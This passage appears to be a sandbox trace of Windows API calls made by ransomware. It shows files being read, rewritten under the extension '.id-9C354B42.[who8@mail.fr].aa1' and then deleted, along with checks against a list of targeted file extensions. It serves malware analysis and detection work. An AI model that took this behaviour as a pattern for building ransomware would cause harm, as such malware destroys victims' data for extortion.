dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0223.728] GetLastError () returned 0x0 [0223.728] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0223.771] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0223.773] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.773] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.773] SetEndOfFile (hFile=0x22c) returned 1 [0223.773] CloseHandle (hObject=0x22c) returned 1 [0223.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.774] SetEndOfFile (hFile=0x1fc) returned 1 [0223.775] CloseHandle (hObject=0x1fc) returned 1 [0223.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.806] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0223.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.807] lstrlenW (lpString=".doc") returned 4 [0223.807] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.807] lstrlenW (lpString=".docx") returned 5 [0223.807] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.807] lstrlenW (lpString=".pdf") returned 4 [0223.807] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.807] lstrlenW (lpString=".xls") returned 4 [0223.807] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.807] lstrlenW (lpString=".xlsx") returned 5 [0223.807] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.807] lstrlenW (lpString=".ppt") returned 4 [0223.807] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.807] lstrlenW (lpString=".zip") returned 4 [0223.807] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.807] lstrlenW (lpString=".rar") returned 4 [0223.807] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.807] lstrlenW (lpString=".bz2") returned 4 [0223.807] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.807] lstrlenW (lpString=".7z") returned 3 [0223.807] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.807] lstrlenW (lpString=".dbf") returned 4 [0223.807] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.807] lstrlenW (lpString=".1cd") returned 4 [0223.807] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.807] lstrlenW (lpString=".jpg") returned 4 [0223.808] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.808] lstrlenW (lpString=".doc") returned 4 [0223.808] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.808] lstrlenW (lpString=".docx") returned 5 [0223.808] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.808] lstrlenW (lpString=".pdf") returned 4 [0223.808] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.808] lstrlenW (lpString=".xls") returned 4 [0223.808] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.808] lstrlenW (lpString=".xlsx") returned 5 [0223.808] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.808] lstrlenW (lpString=".ppt") returned 4 [0223.808] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.808] lstrlenW (lpString=".zip") returned 4 [0223.808] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.808] lstrlenW (lpString=".rar") returned 4 [0223.808] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.808] lstrlenW (lpString=".bz2") returned 4 [0223.808] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.808] lstrlenW (lpString=".7z") returned 3 [0223.808] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.808] lstrlenW (lpString=".dbf") returned 4 [0223.809] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.809] lstrlenW (lpString=".1cd") returned 4 [0223.809] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0223.813] lstrlenW (lpString=".jpg") returned 4 [0223.813] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.813] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0223.813] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0223.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0223.839] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1666) returned 1 [0223.839] CloseHandle (hObject=0x1dc) returned 1 [0223.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0223.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0223.839] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.840] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0223.845] GetLastError () returned 0x0 [0223.845] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x682, lpOverlapped=0x0) returned 1 [0223.940] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x690, lpOverlapped=0x0) returned 1 [0223.941] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.941] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.941] SetEndOfFile (hFile=0x208) returned 1 [0223.943] CloseHandle (hObject=0x208) returned 1 [0223.944] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.944] SetEndOfFile (hFile=0x1dc) returned 1 [0223.944] CloseHandle (hObject=0x1dc) returned 1 [0223.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0223.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.945] lstrlenW (lpString=".doc") returned 4 [0223.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.945] lstrlenW (lpString=".docx") returned 5 [0223.945] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.945] lstrlenW (lpString=".pdf") returned 4 [0223.945] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.945] lstrlenW (lpString=".xls") returned 4 [0223.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.945] lstrlenW (lpString=".xlsx") returned 5 [0223.945] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.946] lstrlenW (lpString=".ppt") returned 4 [0223.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.946] lstrlenW (lpString=".zip") returned 4 [0223.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.946] lstrlenW (lpString=".rar") returned 4 [0223.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.946] lstrlenW (lpString=".bz2") returned 4 [0223.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.946] lstrlenW (lpString=".7z") returned 3 [0223.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.946] lstrlenW (lpString=".dbf") returned 4 [0223.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.946] lstrlenW (lpString=".1cd") returned 4 [0223.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.946] lstrlenW (lpString=".jpg") returned 4 [0223.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.946] lstrlenW (lpString=".doc") returned 4 [0223.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.946] lstrlenW (lpString=".docx") returned 5 [0223.946] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.946] lstrlenW (lpString=".pdf") returned 4 [0223.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.946] lstrlenW (lpString=".xls") returned 4 [0223.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.946] lstrlenW (lpString=".xlsx") returned 5 [0223.947] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.947] lstrlenW (lpString=".ppt") returned 4 [0223.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.947] lstrlenW (lpString=".zip") returned 4 [0223.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.947] lstrlenW (lpString=".rar") returned 4 [0223.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.947] lstrlenW (lpString=".bz2") returned 4 [0223.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.947] lstrlenW (lpString=".7z") returned 3 [0223.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.947] lstrlenW (lpString=".dbf") returned 4 [0223.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.947] lstrlenW (lpString=".1cd") returned 4 [0223.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0223.947] lstrlenW (lpString=".jpg") returned 4 [0223.947] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.153] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.154] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.158] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=15737) returned 1 [0224.158] CloseHandle (hObject=0x22c) returned 1 [0224.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0224.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.158] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.158] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.159] GetLastError () returned 0x0 [0224.159] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0224.160] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0224.161] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.161] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.161] SetEndOfFile (hFile=0x1e4) returned 1 [0224.162] CloseHandle (hObject=0x1e4) returned 1 [0224.162] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.162] SetEndOfFile (hFile=0x22c) returned 1 [0224.163] CloseHandle (hObject=0x22c) returned 1 [0224.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.163] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0224.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.164] lstrlenW (lpString=".doc") returned 4 [0224.164] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.164] lstrlenW (lpString=".docx") returned 5 [0224.164] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.164] lstrlenW (lpString=".pdf") returned 4 [0224.164] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.164] lstrlenW (lpString=".xls") returned 4 [0224.164] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.164] lstrlenW (lpString=".xlsx") returned 5 [0224.164] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.164] lstrlenW (lpString=".ppt") returned 4 [0224.164] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.164] lstrlenW (lpString=".zip") returned 4 [0224.164] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.164] lstrlenW (lpString=".rar") returned 4 [0224.164] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.164] lstrlenW (lpString=".bz2") returned 4 [0224.164] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.164] lstrlenW (lpString=".7z") returned 3 [0224.164] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.164] lstrlenW (lpString=".dbf") returned 4 [0224.164] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.165] lstrlenW (lpString=".1cd") returned 4 [0224.165] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.165] lstrlenW (lpString=".jpg") returned 4 [0224.165] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.165] lstrlenW (lpString=".doc") returned 4 [0224.165] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.165] lstrlenW (lpString=".docx") returned 5 [0224.165] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.165] lstrlenW (lpString=".pdf") returned 4 [0224.165] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.165] lstrlenW (lpString=".xls") returned 4 [0224.165] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.165] lstrlenW (lpString=".xlsx") returned 5 [0224.165] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.165] lstrlenW (lpString=".ppt") returned 4 [0224.165] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.165] lstrlenW (lpString=".zip") returned 4 [0224.165] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.165] lstrlenW (lpString=".rar") returned 4 [0224.165] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.165] lstrlenW (lpString=".bz2") returned 4 [0224.165] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.165] lstrlenW (lpString=".7z") returned 3 [0224.165] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.165] lstrlenW (lpString=".dbf") returned 4 [0224.165] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.166] lstrlenW (lpString=".1cd") returned 4 [0224.166] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0224.166] lstrlenW (lpString=".jpg") returned 4 [0224.166] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.166] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.166] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.166] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=53115) returned 1 [0224.166] CloseHandle (hObject=0x22c) returned 1 [0224.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0224.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.167] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.167] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 